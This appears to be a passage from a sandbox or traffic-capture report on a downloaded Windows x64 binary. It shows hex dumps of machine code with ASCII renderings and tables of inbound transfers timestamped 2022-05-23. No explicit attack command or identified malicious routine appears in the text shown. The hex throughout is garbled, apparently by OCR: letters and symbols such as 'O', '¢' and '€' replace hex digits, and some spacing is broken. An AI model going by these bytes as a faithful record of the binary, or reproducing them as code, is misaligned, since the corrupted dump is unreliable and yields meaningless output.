Data Raw: cO 10 48 8d 0d 6a 1d 02 00 48 8b Oc 01 ff 15 48 8e 01 00 48 83 c4 28 c3 cc CC CC CC CC CC CC CC CC cC cC 89

4c 24 08 48 83 ec 28 48 63 44 24 30 48 6b c0 10 48 8d 0d 38 1d 02 00 48 8b Oc 01 ff 15 1e 8e 01 00 48 83 c4 28 c3 cc cc
cc cc cc cc cc cc cc 48 89 4c 24 08 48 83 ec 18 48 8b 44 24 20 f0 ff 00 48 8b 44 24 20 48 83 b8 10 01 00 00 00 74 Of 48
8b 44 24 20 48 8b 80 10 01 00 00 fO ff 00 48 8b 44 24 20 48 83 b8 20 01 00 00 00 74 Of 48 8b 44 24 20 48 8b 80 20 01 00
00 fO ff 00 48 8b 44 24 20 48 83 b8 18 01 00 00 00 74 Of 48 8b 44 24 20 48 8b 80 18 01 00 00 fO ff 00 48 8b 44 24 20 48
83 b8 30 01 00 00 00 74 Of 48 8b 44 24 20 48 8b 80 30 01 00 00 fO ff 00 c7 04 24 00 00 00 00 eb 08 8b 04 24 ff cO 89 04
24 83 3c 24 05 0f 8f 89 00 00 00 48 63 04 24 48 6b c0 20

Data Ascii: HjHHH(L$H(HcD$OHKH8HH(HL$HHD$ HD$ HtHD$ HHD$ H tHD$ H HD$ HtHD$ HHD$ HOtHD$ HO
$$$<$HCHHK

Data Raw: 6b cO 20 48 8b 4c 24 50 48 8b 44 01 58 83 38 00 75 1d 48 63 44 24 30 48 6b c0 20 ba 02 00 00 00 48 8b 4c
24 50 48 8b 4c 01 58 e8 6b ba ff ff 48 63 44 24 30 48 6b c0 20 48 8b 4c 24 50 48 83 7c 01 50 00 74 16 48 63 44 24 30 48
6b c0 20 48 8b 4c 24 50 48 83 7c 01 60 00 75 5a 48 63 44 24 30 48 6b c0 20 48 8b 4c 24 50 48 83 7c 01 50 00 75 16 48
63 44 24 30 48 6b c0 20 48 8b 4c 24 50 48 83 7c 01 60 00 74 2e 48 8d 05 3c 9e 01 00 48 89 44 24 20 45 33 c9 41 b8 bc
00 00 00 48 8d 15 b7 9d 01 00 b9 02 00 00 00 e8 6d 1a 00 00 83 f8 01 75 03 cc 33 c0 48 63 44 24 30 48 6b c0 20 48 8b
4c 24 50 48 83 7c 01 50 00 74 4b 48 63 44 24 30 48 6b c0 20 48 8b 4c 24 50 48 83 7c 01 60 00 74 35 48 63 44 24 30 48
6b c0 20 48 8b 4c 24 50 48 8b 44 01 60 83 38 00 75 1d 48 63 44 24 30 48

Data Ascii: k HLSPHDX8uHcD$0Hk HL$PHLXkHcD$0HK HL$PH|PtHcD$0HKk HL$PH| uZHcD$OHK HL$PH|PuHcD$OHK
HL$PH| t. H<HD$ E3AHmMuU3HcD$0Hk HL$PH|PtKHcD$0Hk HL$PH| t5HcD$0HK HL$PHD 8uHcD$0H

Data Raw: 47 10 66 89 04 4a eb ce c7 44 24 20 00 00 00 00 eb 0a 8b 44 24 20 ff cO 89 44 24 20 81 7¢ 24 20 01 01 00 00
7d 20 48 63 44 24 20 48 63 4c 24 20 48 8d 15 2a 1b 02 00 48 8b 7c 24 28 Of b6 44 07 1c 88 04 Oa eb cc c7 44 24 20 00
00 00 00 eb 0a 8b 44 24 20 ff cO 89 44 24 20 81 7c 24 20 00 01 00 00 7d 23 48 63 44 24 20 48 63 4c 24 20 48 8d 15 fc 1b
02 00 48 8b 7c 24 28 0f b6 84 07 1d 01 00 00 88 04 Oa eb c9 48 8b 05 e3 1c 02 00 b9 f ff ff ff f0 Of c1 08 ff c9 8b c1 85 cO
75 21 48 8d 05 9b 18 02 00 48 39 05 ¢4 1c 02 00 74 11 ba 02 00 00 00 48 8b 0d b6 1c 02 00 e8 81 b4 ff ff 48 8b 44 24 28
48 89 05 a5 1c 02 00 48 8b 44 24 28 10 ff 00 b9 0d 00 00 00 e8 93 4 ff f eb 2f 83 7c 24 38 ff 75 28 48 8d 05 53 18 02 00
48 39 44 24 28 74 0f ba 02 00 00 00 48 8b 4c 24 28

Data Ascii: GFID$ D$ D$ |$ } HcD$ HeL$ H*H|$(DD$ D$ D$ [$ J#HcD$ HeL$ HH|$(HulHHOtHHDS$(HHDS$(/|$8u(HS
HODS(tHLS(

Data Raw: 24 30 77 2e 8b 44 24 30 ff cO 8b c0 48 8b 8c 24 88 00 00 00 0f b6 44 01 1c 83 c8 04 8b 4c 24 30 ff c1 8b c9 48
8b 94 24 88 00 00 00 88 44 Oa 1c eb b9 eb 82 c7 44 24 30 01 00 00 00 eb Oa 8b 44 24 30 ff cO 89 44 24 30 81 7c 24 30 ff
00 00 00 73 2e 8b 44 24 30 ff cO 8b c0 48 8b 8c 24 88 00 00 00 0f b6 44 01 1c 83 c8 08 8b 4c 24 30 ff c1 8b c9 48 8b 94
24 88 00 00 00 88 44 0a 1c eb be 48 8b 84 24 88 00 00 00 8b 48 04 e8 a8 00 00 00 48 8b 8c 24 88 00 00 00 89 41 Oc 48
8b 84 24 88 00 00 00 c7 40 08 01 00 00 00 eb Of 48 8b 84 24 88 00 00 00 c7 40 08 00 00 00 00 c7 44 24 20 00 00 00 00
eb 0a 8b 44 24 20 ff cO 89 44 24 20 83 7c 24 20 06 73 15 8b 44 24 20 33 c9 48 8b 94 24 88 00 00 00 66 89 4c 42 10 eb
da 48 8b 8c 24 88 00 00 00 e8 a0 01 00 00 33 c0 eb 1f 83 3d 1d

Data Ascii: $0w.D$0H$DL$OH$DD$0D$S0D$0|$0s. DSOHSDLSOHSDHSHHSAHS@H$@D$ D$ D$ |$ sD$ 3HSfLBHS3=

Data Raw: 44 01 1c 83 c8 20 8b 8¢ 24 70 05 00 00 ff c1 8b c9 48 8b 94 24 b0 05 00 00 88 44 0a 1c 8b 84 24 70 05 00 00
8b 8c 24 70 05 00 00 48 8b 94 24 b0 05 00 00 0f b6 84 04 60 03 00 00 88 84 0a 1d 01 00 00 eb 17 8b 84 24 70 05 00 00
48 8b 8c 24 b0 05 00 00 c6 84 01 1d 01 00 00 00 e9 e8 fe ff ff €9 1a 01 00 00 c7 84 24 70 05 00 00 00 00 00 00 eb 10 8b
84 24 70 05 00 00 ff cO 89 84 24 70 05 00 00 81 bc 24 70 05 00 00 00 01 00 00 0f 83 ec 00 00 00 83 bc 24 70 05 00 00 41
72 5e 83 bc 24 70 05 00 00 5a 77 54 8b 84 24 70 05 00 00 ff cO 8b cO 48 8b 8c 24 b0 05 00 00 Of b6 44 01 1c 83 c8 10 8b
8c 24 70 05 00 00 ff c1 8b c9 48 8b 94 24 b0 05 00 00 88 44 Oa 1c 8b 84 24 70 05 00 00 83 c0 20 8b 8¢ 24 70 05 00 00
48 8b 94 24 b0 05 00 00 88 84 Oa 1d 01 00 00 eb 7f 83 bc 24 70

Data Ascii: D $pH$DSpSpHS $pHSSpSpSpSpSpAr $pZWT$pHSDSpHSDSP SpHSSP

Data Raw: 00 00 00 00 c7 84 24 a0 00 00 00 00 00 00 00 48 83 bc 24 60 12 00 00 00 75 Oa b8 01 00 00 00 e9 72 05 00
00 c6 84 24 b4 11 00 00 00 41 b8 04 01 00 00 48 8d 94 24 b0 10 00 00 33 c9 ff 15 fc 72 01 00 85 cO 75 46 4c 8d 05 09 93
01 00 ba 04 01 00 00 48 8d 8c 24 b0 10 00 00 e8 37 26 00 00 48 c7 44 24 28 00 00 00 00 c7 44 24 20 3c 01 00 00 4c 8d
0d ef 8e 01 00 4c 8d 05 b0 92 01 00 48 8d 15 41 92 01 00 8b c8 e8 6a d1 ff ff 48 8d 84 24 b0 10 00 00 48 89 84 24 98 00
00 00 48 8b 8c 24 98 00 00 00 e8 6d 2a 00 00 48 83 f8 40 Of 86 8d 00 00 00 48 8b 8c 24 98 00 00 00 e8 56 2a 00 00 48 8
b 8¢ 24 98 00 00 00 48 8d 44 01 cO 48 89 84 24 98 00 00 00 48 8d 84 24 b0 10 00 00 48 8b 8c 24 98 00 00 00 48 2b c8
48 8b ¢1 b9 04 01 00 00 48 2b c8 48 8b c1 41 b9 03 00 00 00 4c 8b 05

Data Ascii: $H$ ur$AH$3ruFLH$7&HD$(D$ <LLHAJHSHSHSM*H@H$V*HSHDHSHSHSH+HH+HAL

Data Raw: €8 68 59 00 00 89 84 24 c0 11 00 00 83 bc 24 c0 11 00 00 03 75 14 b9 16 00 00 00 e8 7d 1c 00 00 b9 03 00

00 00 e8 13 bd ff ff 83 bc 24 c0 11 00 00 04 75 07 b8 01 00 00 00 eb 02 33 c0 48 8b 8c 24 28 12 00 00 48 33 cc e8 e0 7e
ff ff 48 81 ¢4 38 12 00 00 c3 cc cc cc cC cC cC cC cC 4¢ 89 4c 24 20 44 89 44 24 18 48 89 54 24 10 89 4c 24 08 48 83 ec
48 48 8d 44 24 78 48 89 44 24 30 48 8b 44 24 30 48 89 44 24 28 48 8b 44 24 70 48 89 44 24 20 4c 8b 4c 24 68 44 8b 44
24 60 48 8b 54 24 58 8b 4c 24 50 e8 23 00 00 00 89 44 24 38 48 c7 44 24 30 00 00 00 00 8b 44 24 38 48 83 c4 48 c3 ccC
€ CC CC CC CC CC CC CC CC CC CC CC 4C 89 4¢ 24 20 44 89 44 24 18 48 89 54 24 10 89 4c 24 08 48 83 ec 38 48 8b 44 24 68
48 89 44 24 28 48 8b 44 24 60 48 89 44 24 20 4c 8b 4c 24 58 44 8b

Data Ascii: hY$$u}$u3H$(H3~HBLLS DD$SHTSLSHHHDSXHDSOHDSOHDS(HDSpHDS LLShDD$ HT$XLSP#DS8HDSO
D$8HHLL$ DD$HTSLSHBHDShHDS(HDS$ HDS LLEXD
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Timestamp transferred Direction
2022-05-23 06:27:16 UTC 44 IN
2022-05-23 06:27:16 UTC 44 IN
2022-05-23 06:27:16 UTC 46 IN
2022-05-23 06:27:16 UTC 47 IN
2022-05-23 06:27:16 UTC 48 IN
2022-05-23 06:27:16 UTC 50 IN
2022-05-23 06:27:16 UTC 51 IN
2022-05-23 06:27:16 UTC 52 IN
2022-05-23 06:27:16 UTC 56 IN
2022-05-23 06:27:16 UTC 61 IN
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Data

Data Raw: 89 54 24 68 48 8b 94 24 e8 22 00 00 48 89 54 24 60 48 8b 94 24 f0 22 00 00 48 89 54 24 58 48 8b 94 24 {8 22
00 00 48 89 54 24 50 48 8b 94 24 00 23 00 00 48 89 54 24 48 48 8b 94 24 08 23 00 00 48 89 54 24 40 48 8b 94 24 18 23
00 00 48 89 54 24 38 48 8b 94 24 20 23 00 00 48 89 54 24 30 48 8b 94 24 98 00 00 00 48 89 54 24 28 48 8b 04 c1 48 89
44 24 20 4c 8d 0d f8 89 01 00 41 b8 ff Of 00 00 ba 00 10 00 00 48 8d 8¢ 24 b0 00 00 00 e8 50 5¢ 00 00 89 84 24 a0 00 00
00 83 bc 24 a0 00 00 00 00 7d 47 e8 da f1 ff ff 48 c7 44 24 38 00 00 00 00 c7 44 24 30 60 01 00 00 48 8d 0d 2 83 01 00
48 89 4c 24 28 48 8d 0d Oe 8c 01 00 48 89 4c 24 20 4c 8d 0d 2a 0d Oa

Data Ascii: TShH$"HT$ H$"HT$XHS$"HTSPHS#HTSHHS#HTS@HSH#HTSBHS #HTSOHSHTS(HHDS LAHSP\$$}GHD$8
D$0'HHL$(HHLS L*

Data Raw: 35 34 64 34 0d 0a 7a 01 00 41 b8 22 00 00 00 ba 16 00 00 00 8b 08 8 08 b5 ff ff €8 93 f1 ff ff 8b 8¢ 24 c4 22
00 00 89 08 83 bc 24 ad 00 00 00 00 7d 46 4c 8d 05 09 89 01 00 ba 00 10 00 00 48 8d 8¢ 24 b0 00 00 00 e8 77 5c 00 00
48 C7 44 24 28 00 00 00 00 c7 44 24 20 63 01 00 00 4c 8d 0d 7f 83 01 00 4c 8d 05 a0 8b 01 00 48 8d 15 31 88 01 00 8b
c8 e8 fa c5 ff ff 41 b8 12 20 01 00 48 8d 15 cd 87 01 00 48 8d 8c 24 b0 00 00 00 e8 70 58 00 00 89 84 24 cO 22 00 00 83
bc 24 c0 22 00 00 03 75 14 b9 16 00 00 00 e8 ¢5 15 00 00 b9 03 00 00 00 8 5b b ff ff 83 be 24 cO 22 00 00 04 75 07 b8
01 00 00 00 eb 02 33 cO 48 8b 8c 24 28 23 00 00 48 33 cc e8 28 78 ff ff 48 81 c4 38 23 00 00 c3 48 89 54 24 10 48 89 4c
24 08 48 83 ec 58 48 83 7¢ 24 60 00 74 Oa c7 44 24 44 01 00

Data Ascii: 54d4zA"$"SJFLHSWAHDS$(DS$ cLLH1A HH$pX$'$"u[$"u3HS (#H3(xH8#HTSHLSHXH|$ tDSD

Data Raw: 48 8d 4c 24 70 ff 15 b7 61 01 00 48 8b 84 24 68 01 00 00 48 89 84 24 48 05 00 00 45 33 c0 48 8d 94 24 58 05
00 00 48 8b 8c 24 48 05 00 00 e8 1f 4f 01 00 48 89 84 24 40 05 00 00 48 83 bc 24 40 05 00 00 00 74 48 48 c7 44 24 38
00 00 00 00 48 8d 44 24 60 48 89 44 24 30 48 8d 44 24 58 48 89 44 24 28 48 8d 44 24 70 48 89 44 24 20 4c 8b 8c 24 40
05 00 00 4c 8b 84 24 48 05 00 00 48 8b 94 24 58 05 00 00 33 c9 e8 c0 4e 01 00 eb 20 48 8b 84 24 18 06 00 00 48 89 84
24 68 01 00 00 48 8d 84 24 18 06 00 00 48 89 84 24 08 01 00 00 8b 84 24 28 06 00 00 89 84 24 60 05 00 00 8b 84 24 30
06 00 00 89 84 24 64 05 00 00 48 8b 84 24 18 06 00 00 48 89 84 24 70 05 00 00 ff 15 ca 60 01 00 89 44 24 50 33 c9 ff 15
b6 60 01 00 48 8d 4c 24 40 ff 15 a3 60 01 00 89 84 24 50 05 00 00 83

Data Ascii: HL$paH$hH$HE3H$XH$HOH$@H$@tHHD$8HD$ HD$OHDSXHDS(HD$pHDS LS@LSHHSX3N
H$HShHSH$S$($ $0$dHSHSp DSP3 HLS@ " $P

Data Raw: 49 ff c8 88 01 48 ff c1 f6 c1 02 74 0Of 66 8b 04 0a 49 83 €8 02 66 89 01 48 83 c1 02 f6 c1 04 74 0d 8b 04 Oa 49
83e80489014883cl044d8bc849cled 057551 4d8bc849cle9 0374 14 48 8b 04 0a 48 89 01 48 83 c1 08 49
ff c9 75 f0 49 83 e0 07 4d 85 c0 75 08 49 8b c3 c3 0f 1f 40 00 8a 04 Oa 88 01 48 ff c1 49 ff c8 75 f3 49 8b c3 ¢3 66 66 66
66 66 66 66 Of 1f 84 00 00 00 00 00 66 66 66 90 66 66 90 49 81 f9 00 20 00 00 73 42 48 8b 04 Oa 4c 8b 54 0a 08 48 83 c1
2048 89 41 e0 4c 89 51 e8 48 8b 44 0a f0 4c 8b 54 Oa f8 49 ff 9 48 89 41 f0 4c 89 51 8 75 d4 49 83 e0 1f e9 71 ff ff ff 66
66 66 Of 1f 84 00 00 00 00 00 66 90 48 81 fa 00 10 00 00 72 b5 b8 20 00 00 00 Of 18 04 Oa Of 18 44 Oa 40 48 81 c1 80 00
00 00 ff c8 75 ec 48 81 €9 00 10 00 00 b8 40 00

Data Ascii: IHtfIfHtIHMIuQMItHHHIuIMul @HIulfffffffffffl SBHLTH HALQHDLTIHALQulqffffHr D@HuUH@

Data Raw: cc cc cc cc cc cc cc cc 48 83 ec 48 ¢7 44 24 20 cc 00 00 00 4c 8d 0d c5 7d 01 00 41 b8 02 00 00 00 ba 08 00
00 00 b9 20 00 00 00 e8 c8 7f ff ff 48 89 44 24 30 48 8b 4c 24 30 ff 15 e0 56 01 00 48 89 05 al 1d 02 00 48 8b 05 9a 1d
02 00 48 89 05 8b 1d 02 00 48 83 7c 24 30 00 75 07 b8 18 00 00 00 eb Oe 48 8b 44 24 30 48 c7 00 00 00 00 00 33 c0 48
83 ¢4 48 c3 cc 48 83 ec 38 ¢7 44 24 20 00 00 00 00 eb 0a 8b 44 24 20 ff cO 89 44 24 20 48 63 44 24 20 48 83 f8 0a 73 28
48 63 44 24 20 48 8d 0d c1 f3 01 00 48 8b Oc c1 ff 15 6f 56 01 00 48 63 4c 24 20 48 8d 15 ab f3 01 00 48 89 04 ca eb c3
48 83 c4 38 ¢3 48 83 ec 28 b9 03 00 00 00 e8 22 62 00 00 83 f8 01 74 17 b9 03 00 00 00 e8 13 62 00 00 85 cO 75 1d 83
3d 70 f9 01 00 01 75 14 b9 fc 00 00 00 e8 7c 00 00 00 b9 ff 00

Data Ascii: HHD$ L}A HD$OHL$0VHHHH|$0uHD$O0H3HHH8D$ D$ D$ HcD$ Hs(HcD$ HHoVHcL$ HHH8H("btbu=pu|

Data Raw: e8 Oa b1 ff ff 41 b8 10 20 01 00 48 8d 15 dd 82 01 00 48 8d 0d a6 fe 01 00 e8 81 43 00 00 48 8b 8¢ 24 80 02
0000 48 33 cc e8 71 63 ff ff 48 81 ¢4 98 02 00 00 3 cc cc cC cC cC cc cc cc cc 48 89 4¢ 24 08 48 83 ec 28 48 8d 0d 20
0000 00 ff 15 72 51 01 00 48 89 05 8b 04 02 00 48 83 ¢4 28 3 cC CC CC CC CC CC CC CC CC CC CC CC cC cC 48 83 ec 38 e8
a7 70 ff ff 48 8b 80 dO 00 00 00 48 89 44 24 20 48 83 7c 24 20 00 74 06 ff 54 24 20 eb 00 e8 68 6a 00 00 48 83 c4 38 c3
cc cc cc 48 83 ec 38 48 8b 0d 3d 04 02 00 ff 15 5f 51 01 00 48 89 44 24 20 48 83 7c 24 20 00 74 06 ff 54 24 20 eb 00 8
a7 ff ff ff 48 83 c4 38 c3 cc cc 48 89 4¢ 24 08 48 8b 44 24 08 48 89 05 0f 04 02 00 48 8b 44 24 08 48 89 05 Ob 04 02 00
48 8b 44 24 08 48 89 05 07 04 02 00 48 8b 44 24 08 48 89

Data Ascii: A HHCH$H3gqcHHL$H(H rQHH(H8pHHD$ H|$ tT$ hjH8H8H=_QHD$ H|$ tT$ H8HL$HD$SHHD$SHHDSHHDSH

Data Raw: 00 ff 15 af 4c 01 00 48 83 ¢4 28 c3 cC cC CC CC CC CC CC cC cC cC 48 89 4c 24 08 48 8b 44 24 08 48 89 05 97 ff
01 00 €3 cC cC CC CC CC CC CC CC CC CC CC CC cC cc 48 89 4c 24 08 48 8b 44 24 08 48 89 05 7f ff 01 00 ¢3 cc cc cc cc cc cC
CC CC CC CC CC CC CC cC 4C 89 44 24 18 48 89 54 24 10 48 89 4c 24 08 48 81 ec 88 00 00 00 48 83 bc 24 90 00 00 00 00
74 15 48 83 bc 24 98 00 00 00 00 76 Oa c7 44 24 4c 01 00 00 00 eb 08 c7 44 24 4c 00 00 00 00 8b 44 24 4c 89 44 24 40
83 7c 24 40 00 75 2e 48 8d 05 bc 82 01 00 48 89 44 24 20 45 33 ¢9 41 b8 12 00 00 00 48 8d 15 27 82 01 00 b9 02 00 00
00 e8 ad de ff ff 83 f8 01 75 03 cc 33 c0 83 7¢ 24 40 00 75 3e e8 19 d6 ff ff c7 00 16 00 00 00 48 c7 44 24 20 00 00 00 00
41 b9 12 00 00 00 4c 8d 05 ed 81 01 00 48 8d 15 c6 81 01

Data Ascii: LH(HL$HD$HHL$HD$HLDSHTSHLSHHStHSVDSLDSLDSLDS@|$@u.HHD$ E3AH'U3|$@u>HD$ ALH

Data Raw: c3 48 8d 44 01 fd c3 48 8d 44 01 fc c3 48 8d 44 01 fb c¢3 48 8d 44 01 fa c3 48 8d 44 01 f9 c3 48 8d 44 01 f8 c3
CC CC CC CC cC cC cC cc 89 4¢ 24 08 48 83 ec 28 41 b9 04 00 00 00 45 33 c0 8b 54 24 30 33 c9 €8 14 00 00 00 48 83 c4 28
€3 CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC 44 89 4¢ 24 20 44 89 44 24 18 89 54 24 10 48 89 4c 24 08 48 83 ec 68 48
C7 44 24 48 fe ff ff ff 48 8b 54 24 70 48 8d 4c 24 20 e8 91 8c ff ff 90 Of b6 44 24 78 89 44 24 78 48 8d 4c 24 20 e8 0d 8e ff
ff 48 8b 40 08 8b 4c 24 78 Of b6 44 08 1d 23 84 24 88 00 00 00 85 c0 75 4c 83 bc 24 80 00 00 00 00 74 29 48 8d 4c 24 20
e8 el 8d ff ff 48 8 00 8b 4c 24 78 48 8b 80 40 01 00 00 Of b7 04 48 23 84 24 80 00 00 00 89 44 24 50 eb 08 c7 44 24 50
00 00 00 00 83 7c 24 50 00 75 Oa c7 44 24 54 00

Data Ascii: HDHDHDHDHDHDL$H(AE3T$03H(DL$ DD$T$SHLSHhHD$SHHTSpHLS DSXD$XHLS H@LSXDHSULSt)HLS
HL$XH@H#$D$PD$P|$SPUDST

Data Raw: 8b 44 24 50 48 83 c4 78 €3 cC CC CC CC CC CC CC CC CC CC CC CC CC CC cC 44 89 4c 24 20 44 89 44 24 18 48 89
5424 10 48 89 4c 24 08 48 83 ec 48 48 c7 44 24 38 00 00 00 00 48 8b 44 24 58 8b 40 Oc 89 44 24 28 48 8b 94 24 80 00
00 00 48 8b 4c 24 58 €8 d1 50 00 00 89 44 24 30 83 7c 24 28 00 76 02 eb 05 €8 ff e4 ff ff 48 8b 44 24 78 c7 00 ff ff ff ff 48
8b 44 24 70 c7 00 ff ff ff ff 8b 44 24 28 89 44 24 2c eb 0a 8b 44 24 2c ff c8 89 44 24 2¢ 83 7c 24 2c 00 76 4f 48 8b 44 24
58 48 63 40 10 48 8b 8c 24 80 00 00 00 48 8b 49 08 48 03 c8 48 8b c1 8b 4c 24 2c ff c9 8b c9 48 6b c9 14 48 03 c1 48 89
44 24 20 48 8b 44 24 20 8b 40 04 39 44 24 30 7e 10 48 8b 44 24 20 8b 40 08 39 44 24 30 7f 02 eb 02 eb a0 83 7c 24 2¢
00 74 2f 48 8b 44 24 58 48 63 40 10 48 8b 8¢ 24 80 00

Data Ascii: D$PHXDL$ DD$HT$HLSHHHD$BHD$X @D$(HSHLSXPDS$O0|$(VHDSXxHDS$pDS(DS$,D$,D$,|$,vOHDSXHc@
H$HIHHL$,HKHHD$ HD$ @9D$0~HD$ @9D$0|$,t/HD$XHc@H$

Data Raw: 0d fe 66 01 00 4c 8d 05 c7 6¢ 01 00 48 8d 15 50 6a 01 00 8b c8 e8 39 85 ff ff 83 bc 24 f0 50 00 00 02 0f 85 a5
00 00 00 48 63 84 24 f0 50 00 00 48 8d 0d 2c c4 01 00 8b 04 81 83 e0 01 85 c0 74 46 4c 8d 05 13 6a 01 00 ba 00 10 00
00 48 8d 8c 24 70 30 00 00 e8 c9 6e 00 00 48 c7 44 24 28 00 00 00 00 c7 44 24 20 39 01 00 00 4c 8d 0d 91 66 01 00 4c
8d 05 5a 6¢ 01 00 48 8d 15 93 69 01 00 8b c8 e8 cc 84 ff ff 4c 8d 05 ad 6b 01 00 ba 00 10 00 00 48 8d 8c 24 70 30 00 00
e8 83 6e 00 00 48 c7 44 24 28 00 00 00 00 c7 44 24 20 3a 01 00 00 4c 8d 0d 4b 66 01 00 4c 8d 05 14 6¢ 01 00 48 8d 15
fd 68 01 00 8b c8 e8 86 84 ff ff 48 83 bc 24 8 50 00 00 00 Of 84 20 01 00 00 c7 84 24 78 50 00 00 00 00 00 00 e8 a7 af ff
ff 8b 00 89 84 24 7c¢ 50 00 00 e8 99 af ff ff c7 00 00 00 00

Data Ascii: fLIHPj9$PHc$PH, tFLiH$pONHD$(D$ ILFLZIHILkH$SpONHD$(D$ :LKILIHhHSP $xP$|P
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Timestamp transferred Direction
2022-05-23 06:27:16 UTC 65 IN
2022-05-23 06:27:16 UTC 66 IN
2022-05-23 06:27:16 UTC 70 IN
2022-05-23 06:27:16 UTC 74 IN
2022-05-23 06:27:16 UTC 78 IN
2022-05-23 06:27:16 UTC 82 IN
2022-05-23 06:27:16 UTC 86 IN
2022-05-23 06:27:16 UTC 90 IN
2022-05-23 06:27:16 UTC 94 IN
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Data

Data Raw: 01 00 eb 58 48 83 bc 24 b0 80 00 00 00 76 13 48 8b 84 24 b0 80 00 00 48 ff c8 48 89 84 24 b0 80 00 00 48 63
84 24 10 81 00 00 48 8d 0d bd b3 01 00 48 c7 44 24 20 00 00 00 00 4c 8d 8c 24 a4 70 00 00 44 8b 84 24 b0 80 00 00 48
8d 94 24 b0 70 00 00 48 8b Oc c1 ff 15 72 16 01 00 48 63 84 24 10 81 00 00 48 8d 0d 73 b3 01 00 8b 04 81 83 e0 02 85
c0 74 Oe 48 8d 8c 24 60 10 00 00 ff 15 83 16 01 00 48 63 84 24 10 81 00 00 48 8d 0d 4c b3 01 00 8b 04 81 83 e0 04 85 ¢
0 0f 84 c1 00 00 00 33 c0 66 89 84 24 70 30 00 00 83 bc 24 20 81 00 00 00 74 4d 41 b9 0a 00 00 00 41 b8 00 10 00 00 48
8d 94 24 70 30 00 00 8b 8c 24 20 81 00 00 e8 8a 80 00 00 48 c7 44 24 28 00 00 00 00 c7 44 24 20 99 02 00 00 4c 8d 0d
92 55 01 00 4c 8d 05 8b 61 01 00 48 8d 15 34 61 01 00 8b c8 e8 cd 73

Data Ascii: XH$VH$HH$HC$SHHDS L$pD$H$pHrHC$HStHS He$HL3$p0$ tMAAHSp0$ HD$(D$ LULaH4as

Data Raw: 32 30 31 35 0d Oa 00 48 89 84 24 80 00 00 00 48 83 7c 24 78 00 74 59 48 83 bc 24 80 00 00 00 00 74 4e ff 54
2478 48 89 44 24 50 48 83 7c 24 50 00 74 35 48 8d 44 24 68 48 89 44 24 20 41 b9 Oc 00 00 00 4c 8d 44 24 40 ba 01 00
00 00 48 8b 4c 24 50 ff 94 24 80 00 00 00 85 c0 74 Ob 8b 44 24 48 83 e0 01 85 c0 75 08 c7 44 24 6¢ 01 00 00 00 83 7¢c
24 6¢ 00 74 17 8b 84 24 d0 00 00 00 Of ba 8 15 89 84 24 d0 00 00 00 €9 81 00 00 00 48 8b 44 24 30 48 39 05 2d c5 01 0
074 2c 48 8b 0d 24 ¢5 01 00 ff 15 f6 11 01 00 48 89 84 24 88 00 00 00 48 83 bc 24 88 00 00 00 00 74 Oc ff 94 24 88 00 0
000 48 89 44 24 58 48 83 7c 24 58 00 74 3f 48 8b 44 24 30 48 39 05 f3 ¢4 01 00 74 31 48 8b 0d ea c4 01 00 ff 15 b4 11 0
100 48 89 84 24 90 00 00 00 48 83 bc 24 90 00 00 00 00 74 11 48

Data Ascii: 2015H$H|$xtYH$tNT$XHD$PH|$Pt5HD$hHD$ ALDS@HL$P$tD$SHUDSI|$It$SHDSOHI-t, HSHEHStS
HD$XH|$Xt?HD$OHItIHHSHSH

Data Raw: eb 24 48 8b 44 24 20 48 8b 00 48 83 c0 08 48 8b 4c 24 20 48 89 01 48 8b 44 24 20 48 8b 00 48 8b 40 8 48 89
04 24 48 8b 04 24 48 83 ¢4 18 c3 cC cC CC CC CC CC cC cC cC cc cc 48 89 4c 24 08 48 83 ec 18 33 c0 85 c0 74 29 48 8b 44
2420 48 8b 00 48 83 c0 08 48 8b 4c 24 20 48 89 01 48 8b 44 24 20 48 8b 00 48 8b 40 8 Of b7 00 66 89 04 24 eb 24 48
8b 44 24 20 48 8b 00 48 83 c0 08 48 8b 4c 24 20 48 89 01 48 8b 44 24 20 48 8b 00 0Of b7 40 8 66 89 04 24 0f b7 04 24 48
83 ¢4 18 c3 cc cC cC cC CC CC CC CC cC cC cC 4c 89 4c 24 20 4¢ 89 44 24 18 48 89 54 24 10 48 89 4c 24 08 57 48 81 ec 90
00 00 00 48 c7 44 24 40 00 00 00 00 48 8d 44 24 48 48 8b f8 33 c0 b9 28 00 00 00 f3 aa 48 8d 44 24 40 48 89 44 24 38
48 83 bc 24 b8 00 00 00 00 74 Oa c7 44 24 78 01 00 00 00 eb 08

Data Ascii: $HD$ HHHL$ HHD$ HH@H$H$HHL$H3t)HD$ HHHL$ HHD$ HH@f$$HD$ HHHLS$ HHD$ H@f$SHLLS L
D$HT$HLSWHHD$@HD$HH3(HD$S@HD$BHS$tDSX

Data Raw: 34 31 62 33 0d Oa 00 00 00 ff ff ff 7f 74 5e 48 83 bc 24 a8 00 00 00 01 76 53 48 8b 84 24 a8 00 00 00 48 ff c8
48 39 05 ae 81 01 00 73 Oe 48 8b 05 a5 81 01 00 48 89 44 24 58 eb 10 48 8b 84 24 a8 00 00 00 48 ff c8 48 89 44 24 58
48 8b 44 24 58 48 d1 e0 48 8b 8c 24 a0 00 00 00 48 83 c1 02 4c 8b c0 ba fe 00 00 00 e8 dd 03 ff ff 48 83 bc 24 b0 00 00
0000 74 Oa c7 44 24 60 01 00 00 00 eb 08 c7 44 24 60 00 00 00 00 8b 44 24 60 89 44 24 44 83 7c 24 44 00 75 2e 48 8d
05 d2 27 01 00 48 89 44 24 20 45 33 ¢9 41 b8 13 00 00 00 48 8d 15 75 48 01 00 b9 02 00 00 00 e8 8b 84 ff ff 83 f8 01 75
03 cc 33 ¢083 7c 24 44 00 75 3e e8 {7 7b ff ff c7 00 16 00 00 00 48 c7 44 24 20 00 00 00 00 41 b9 13 00 00 00 4c 8d 05
3b 4801 00 48 8d 15 14 48 01 00 48 8d 0d 75 27 01 00 e8 08

Data Ascii: 41b3t"H$vSH$SHHISHHD$XHSHHD$XHDSXHHSHLH$tDS$' D$ D$ D$D|$Du.H'HD$ E3AHUHU3|$DU>{HD$
AL;HHHHu'

Data Raw: 01 00 00 €9 a4 01 00 00 48 8b 84 24 a0 00 00 00 83 78 Oc 00 75 58 48 8b 84 24 a0 00 00 00 8b 00 25 ff ff ff 1f
3d 21 05 93 19 0f 82 7c 01 00 00 48 8b 84 24 a0 00 00 00 83 78 20 00 74 1b e8 52 a7 ff ff 48 8b 8c 24 a0 00 00 00 48 63
49 20 48 03 c1 48 89 44 24 60 eb 09 48 ¢7 44 24 60 00 00 00 00 48 83 7¢ 24 60 00 Of 84 3e 01 00 00 48 8b 84 24 80 00
